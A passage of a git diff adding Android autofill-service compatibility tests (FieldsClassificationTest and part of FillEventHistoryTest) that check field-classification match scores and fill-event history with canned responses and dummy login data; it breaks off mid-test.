+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
new file mode 100644
index 0000000..e78f85c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertFillEventForContextCommitted;
+import static android.autofillservice.cts.Helper.assertFillEventForFieldsClassification;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.provider.Settings;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.widget.EditText;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+
+public class FieldsClassificationTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<GridActivity> mActivityRule =
+            new AutofillActivityTestRule<GridActivity>(GridActivity.class);
+
+    private GridActivity mActivity;
+    private int mEnabledBefore;
+
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    // TODO(b/67867469): remove once feature is stable
+    @Before
+    public void enableFeature() {
+        mEnabledBefore = Settings.Secure.getInt(
+                mContext.getContentResolver(), Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 0);
+        if (mEnabledBefore == 1) {
+            // Already enabled, ignore.
+            return;
+        }
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+        runShellCommand("settings put secure %s %s default",
+                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 1);
+        observer.assertCalled();
+    }
+
+    // TODO(b/67867469): remove once feature is stable
+    @After
+    public void restoreFeatureStatus() {
+        if (mEnabledBefore == 1) {
+            // Already enabled, ignore.
+            return;
+        }
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
+                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
+        runShellCommand("settings put secure %s %s default",
+                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBefore);
+        observer.assertCalled();
+    }
+
+    @Test
+    public void testHit_oneUserData_oneDetectableField() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully");
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId, "myId", 1000000);
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
+        manyUserData_oneDetectableField(true);
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
+        manyUserData_oneDetectableField(false);
+    }
+
+    private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String expectedId;
+        final String typedText;
+        if (firstMatch) {
+            expectedId = "1stId";
+            typedText = "IAM111";
+        } else {
+            expectedId = "2ndId";
+            typedText = "IAM222";
+        }
+        mActivity.getAutofillManager().setUserData(new UserData.Builder("1stId", "Iam1ST")
+                .add("2ndId", "Iam2ND").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, typedText);
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        // Matches 4 of 6 chars - 66.6666%
+        assertFillEventForFieldsClassification(events.get(0), fieldId, expectedId, 666666);
+    }
+
+    @Test
+    public void testHit_oneUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AutofillId fieldId1 = field1.getAutofillId();
+        final EditText field2 = mActivity.getCell(1, 2);
+        final AutofillId fieldId2 = field2.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId1, fieldId2)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // 100%
+        mActivity.setText(1, 2, "fooly"); // 60%
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new AutofillId[] { fieldId1, fieldId2 },
+                new String[] { "myId", "myId" },
+                new int[] { 1000000, 600000 });
+    }
+
+    @Test
+    public void testHit_manyUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY")
+                        .add("otherId", "EMPTY")
+                        .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AutofillId fieldId1 = field1.getAutofillId();
+        final EditText field2 = mActivity.getCell(1, 2);
+        final AutofillId fieldId2 = field2.getAutofillId();
+        final EditText field3 = mActivity.getCell(2, 1);
+        final AutofillId fieldId3 = field3.getAutofillId();
+        final EditText field4 = mActivity.getCell(2, 2);
+        final AutofillId fieldId4 = field4.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId1, fieldId2)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // 100%
+        mActivity.setText(1, 2, "empty"); // 100%
+        mActivity.setText(2, 1, "fooly"); // 60%
+        mActivity.setText(2, 2, "emppy"); // 80%
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new AutofillId[] { fieldId1, fieldId2, fieldId3, fieldId4 },
+                new String[] { "myId", "otherId", "myId", "otherId" },
+                new int[] { 1000000, 1000000, 600000, 800000});
+    }
+
+    @Test
+    public void testMiss() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "ABCDEF").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "xyz");
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    @Test
+    public void testNoUserInput() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AutofillId fieldId = field.getAutofillId();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
+                .setFieldClassificationIds(fieldId)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mActivity.getAutofillManager().commit();
+
+        // Assert results
+        final FillEventHistory history =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    /*
+     * TODO(b/67867469): other scenarios:
+     *
+     * - Multipartition (for example, one response with FieldsDetection, others with datasets,
+     *   saveinfo, and/or ignoredIds)
+     * - make sure detectable fields don't trigger a new partition
+     * v test partial hit (for example, 'fool' instead of 'full'
+     * v multiple fields
+     * v multiple value
+     * - combinations of above items
+     */
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
new file mode 100644
index 0000000..b3190c8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -0,0 +1,1330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.Helper.assertDeprecatedClientState;
+import static android.autofillservice.cts.Helper.assertFillEventForAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetAuthenticationSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
+ */
+public class FillEventHistoryTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+            new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
+
+    private LoginActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testDatasetAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with dataset authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setId("name")
+                        .setPresentation(createPresentation("authentication"))
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(clientState).build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Authenticate
+        sUiBot.selectDataset("authentication");
+        sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
+
+        // Verify fill selection
+        FillEventHistory selection =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+        List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with response wide authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "username")
+                                .setId("name")
+                                .setPresentation(createPresentation("dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+                .setPresentation(createPresentation("authentication"))
+                .setAuthentication(authentication, ID_USERNAME)
+                .build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Authenticate
+        sUiBot.selectDataset("authentication");
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset");
+
+        // Verify fill selection
+        FillEventHistory selection =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+        List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testDatasetSelected_twoResponses() throws Exception {
+        enableService();
+
+        // Set up first partition with an anonymous dataset
+        Bundle clientState1 = new Bundle();
+        clientState1.putCharSequence("clientStateKey", "Value1");
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setExtras(clientState1)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sUiBot.selectDataset("dataset1");
+        sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertDeprecatedClientState(selection, "clientStateKey", "Value1");
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
+                    "clientStateKey", "Value1");
+        }
+
+        // Set up second partition with a named dataset
+        Bundle clientState2 = new Bundle();
+        clientState2.putCharSequence("clientStateKey", "Value2");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password2")
+                                .setPresentation(createPresentation("dataset2"))
+                                .setId("name2")
+                                .build())
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password3")
+                                .setPresentation(createPresentation("dataset3"))
+                                .setId("name3")
+                                .build())
+                .setExtras(clientState2)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+        mActivity.expectPasswordAutoFill("password3");
+
+        // Trigger autofill on password
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("dataset3");
+        sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "name3",
+                    "clientStateKey", "Value2");
+        }
+
+        mActivity.onPassword((v) -> v.setText("new password"));
+        mActivity.syncRunOnUiThread(() -> mActivity.finish());
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "name3",
+                    "clientStateKey", "Value2");
+            assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
+                    "clientStateKey", "Value2");
+        }
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertNoDeprecatedClientState(selection);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        }
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsFailure() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertNoDeprecatedClientState(selection);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        }
+    }
+
+    @Test
+    public void testNoEvents_whenServiceTimesout() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertNoDeprecatedClientState(selection);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                    .getFillEventHistory();
+            assertThat(selection).isNull();
+        }
+    }
+
+    private Bundle getBundle(String key, String value) {
+        final Bundle bundle = new Bundle();
+        bundle.putString(key, value);
+        return bundle;
+    }
+
+    /**
+     * Tests the following scenario:
+     *
+     * <ol>
+     *    <li>Activity A is launched.
+     *    <li>Activity A triggers autofill.
+     *    <li>Activity B is launched.
+     *    <li>Activity B triggers autofill.
+     *    <li>User goes back to Activity A.
+     *    <li>User triggers save on Activity A - at this point, service should have stats of
+     *        activity B, and stats for activity A should have beeen discarded.
+     * </ol>
+     */
+    @Test
+    public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
+        enableService();
+
+        // Launch activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on activity A
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity A
+        FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertDeprecatedClientState(selectionA, "activity", "A");
+        assertThat(selectionA.getEvents()).isNull();
+
+        // Launch activity B
+        mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
+
+        // Trigger autofill on activity B
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "B"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_CC_NUMBER, "4815162342")
+                        .setPresentation(createPresentation("datasetB"))
+                        .build())
+                .build());
+        sUiBot.focusByRelativeId(ID_CC_NUMBER);
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity B
+        final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertDeprecatedClientState(selectionB, "activity", "B");
+        assertThat(selectionB.getEvents()).isNull();
+
+        // Now switch back to A...
+        sUiBot.pressBack(); // dismiss keyboard
+        sUiBot.pressBack(); // dismiss task
+        sUiBot.assertShownByRelativeId(ID_USERNAME);
+        // ...and trigger save
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Finally, make sure history is right
+        final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertDeprecatedClientState(finalSelection, "activity", "B");
+        assertThat(finalSelection.getEvents()).isNull();
+    }
+
+    @Test
+    public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
+        enableService();
+
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert no events where generated
+        final FillEventHistory selection =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        assertThat(selection).isNull();
+    }
+
+    @Test
+    public void textContextCommitted_withoutDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Assert it
+        final FillEventHistory selection =
+                InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+        final List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+    }
+
+    @Test
+    public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
+        enableService();
+        // Trigger 1st autofill request
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
